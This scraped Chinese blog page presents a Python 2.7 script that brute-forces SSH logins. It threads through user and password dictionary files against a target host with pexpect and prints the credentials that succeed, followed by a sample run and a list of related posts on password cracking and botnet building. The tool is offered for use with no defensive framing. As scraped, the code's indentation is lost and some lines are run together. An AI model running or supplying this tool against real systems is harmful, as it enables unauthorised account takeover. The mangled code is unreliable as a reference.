# -*- coding:utf-8 -*-
#python 2.7 import optparse,sys,threading
import pexpect PROMPT = ['#','>','/$']
def ssh(host,user,password):
child = pexpect.spawn('ssh %s@%s' % (user,host))
ret = child.expect(['(?i)are you sure.*','(?i)password:',pexpect.TIMEOUT,pexpect.EOF])
#print child.before
if ret == 0:
child.sendline('yes')
child.expect('[pP]ssword:')
child.sendline(password)
try:
ret0 = child.expect(PROMPT)
if ret0 in (0,1,2):
#print child.before
print '[+] 已经连接0'
print '<*>用户是:' + user
print '<*>密码是:' + password
#return child
except:
print '[-]连接失败0,密码错误!'
elif ret == 1:
child.sendline(password)
try:
ret1 = child.expect(PROMPT)
print child.before
if ret1 in (0,1,2):
#print child.before
print '[+] 已经连接1'
print '<*>用户是:' + user
print '<*>密码是:' + password
#return child
except:
print '[-]连接失败1,用户或密码错误!'
else:
print '[-] 连接失败2' def main():
usage = 'Usage:%prog <-H host> <-U user.txt> <-D dictionary.txt>'
parser = optparse.OptionParser(usage,version='%prog v1.0')
parser.add_option('-H',dest='target_host',type='string',
help='目标主机')
parser.add_option('-U',dest='user',type='string',
help='ssh用户')
parser.add_option('-D',dest='dictionary',type='string',
help='密码字典')
(options,args) = parser.parse_args()
if (not options.target_host) | (not options.user) | (not options.dictionary):
print parser.usage
exit(0)
else:
target_host = options.target_host
users = options.user
passwords = options.dictionary
users = open(users)
passwords = open(passwords)
#i = 0
for user in users:
user = user.strip('\r\n')
#print user + str(i)
#i = i + 1
passwords.seek(0)#回到密码文件行首
for password in passwords:
password = password.strip('\r\n')
#print user
t = threading.Thread(target=ssh,args=(target_host,user,password))
t.start() if __name__ == '__main__':
main()

测试运行结果为:

python Sshconector.py  -H 127.0.0.1 -U user.txt -D password.txt

Linux HOSTKALI 3.18.0-kali1-amd64
[+] 已经连接1
<*>用户是:root
<*>密码是:xxxxxxx
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!
[-]连接失败1,用户或密码错误!

利用python暴力破解ssh的更多相关文章

  1. 利用python暴力破解压缩文件密码

    import randomimport sysimport zipfileimport timefrom threading import Threadfrom multiprocessing imp ...

  2. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  3. centos 7 DenyHosts 安装 防暴力破解ssh登陆

    为了减少软件扫描ssh登陆 还是用这个比较好点  默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...

  4. python 暴力破解密码脚本

    python 暴力破解密码脚本 以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的, 假设要暴力破解登陆网站www.a.com 用户 testUser的密码, 首先,该网站登陆的验证要支 ...

  5. 10小时之内,暴力破解SSH账号的IP

    10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于  ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...

  6. 分享一个撩妹、装13神技能,0基础用Python暴力破解WiFi密码

    WiFi密码Python暴力破解   Python密码破解部分截图 获取视频资料,转发此文+点击喜欢,然后获取资料请加Python交流群:580478401,就可以获取视频教程+源码 环境准备: py ...

  7. 使用Medusa美杜莎暴力破解SSH密码

    使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...

  8. Linux 利用hosts.deny 防止暴力破解ssh

    一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...

  9. Linux 利用hosts.deny 防止暴力破解ssh(转)

    一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...

随机推荐

  1. Appium+python自动化-appium元素定位

    前言 appium定位app上的元素,可以通过id,name.class这些属性定位到 一.id定位 1.appium的id属性也就是通过UI Automator工具查看的resource-id属性

  2. Java算法HmacSHA256不可用 - Java Algorithm HmacSHA256 not available

    发布的jar包,运行后发现报错 Java Algorithm HmacSHA256 not available 百般思索,发现原生JAR包问题 解决办法: Copy sunjce_provider.j ...

  3. php排序介绍_冒泡排序_选择排序法_插入排序法_快速排序法

    这里我们介绍一些常用的排序方法,排序是一个程序员的基本功,所谓排序就是对一组数据,按照某个顺序排列的过程. 充效率看 冒泡排序法<选择排序法<插入排序法 排序分两大类: 内部排序法 交换式 ...

  4. 【Android】自定义Dialog

    先上图 main.xml主界面文件 <?xml version="1.0" encoding="utf-8"?><LinearLayout x ...

  5. PAT天梯赛练习题——L3-008. 喊山(邻接表+BFS)

    L3-008. 喊山 时间限制 150 ms 内存限制 65536 kB 代码长度限制 8000 B 判题程序 Standard 作者 陈越 喊山,是人双手围在嘴边成喇叭状,对着远方高山发出“喂—喂喂 ...

  6. Codeforces 333E Summer Earnings ——Bitset

    [题目分析] 找一个边长最大的三元环. 把边排序,然后依次加入.加入(i,j)时,把i和j取一个交集,看看是否存在,存在就找到了最大的三元环. 输出即可,n^3/64水过. [代码] #include ...

  7. getParameter 与 getAttribute的区别

    request.getAttribute():是request时设置的变量的值,用request.setAttribute("name","您自己的值");来设 ...

  8. Spring-IOC源码解读1-整体设计

    1. SpringIOC提供了一个基本的javabean容器,通过IOC模式管理依赖关系,并通过依赖注入和AOP增强了为javabean这样的pojo对象赋予事务管理,生命周期管理等基本功能.2. S ...

  9. C++ assert 的一点说明

    断言(ASSERT)的用法 转载自http://www.cnblogs.com/moondark/archive/2012/03/12/2392315.html 我一直以为assert仅仅是个报错函数 ...

  10. 乱码及restful

    1.乱码的解决--通过过滤器来解决乱码:springmvc中提供CharacterEncodingFilter解决post乱码 <filter> <filter-name>Ch ...